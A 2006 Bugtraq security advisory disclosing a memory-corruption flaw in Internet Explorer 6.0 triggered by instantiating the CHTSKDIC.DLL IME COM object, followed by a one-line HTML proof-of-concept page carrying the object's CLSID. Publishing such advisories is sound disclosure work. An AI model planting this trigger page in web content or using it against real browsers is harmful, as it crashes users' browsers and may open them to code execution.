bugtraq - [XSec-06-03]: Internet Explorer (CHTSKDIC.DLL) COM Object Instantiation Vulnerability

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Date: Tue, 15 Aug 2006 23:26:58 +0800
From: nop <nop@...c.org>
To: bugtraq@...urityfocus.com
Subject: [XSec-06-03]: Internet Explorer (CHTSKDIC.DLL) COM Object Instantiation
 Vulnerability

Advisory ID:
XSec-06-03

Advisory Name:
Internet Explorer (CHTSKDIC.DLL) COM Object Instantiation Vulnerability

Release Date:
08/15/2006

Tested on:
Internet Explorer 6.0 SP1 on Microsoft Windows XP SP2 CN

Affected version:
Internet Explorer 6.0

Author:
nop <nop#xsec.org>
http://www.xsec.org

Overview:
A vulnerability has been found in Internet Explorer 6.0. \
When Internet Explorer tries to instantiate the CHTSKDIC.DLL \
(Microsoft IME) COM object as an ActiveX control, it may corrupt \
system memory in such a way that an attacker may DoS and possibly \
could execute arbitrary code.

Exploit:
=============== CHTSKDIC.DLL.htm start ================

<!--
// Internet Explorer (CHTSKDIC.DLL) COM Object Instantiation Vulnerability
// tested XP SP2 CN

// http://www.xsec.org
// nop (nop#xsec.org)

// CLSID: {BE4191FB-59EF-4825-AEFC-109727951E42}
// Info: ImeSingleKanjiDict// ProgID: ID2
// InprocServer32: C:\WINDOWS\IME\CHTIME\APPLETS\CHTSKDIC.DLL

!-->

<html><body>
<object classid="CLSID:{BE4191FB-59EF-4825-AEFC-109727951E42}" ></object>
</body></html>

=============== CHTSKDIC.DLL.htm end ==================

Link:
http://www.xsec.org/index.php?module=releases&act=view&type=1&id=9

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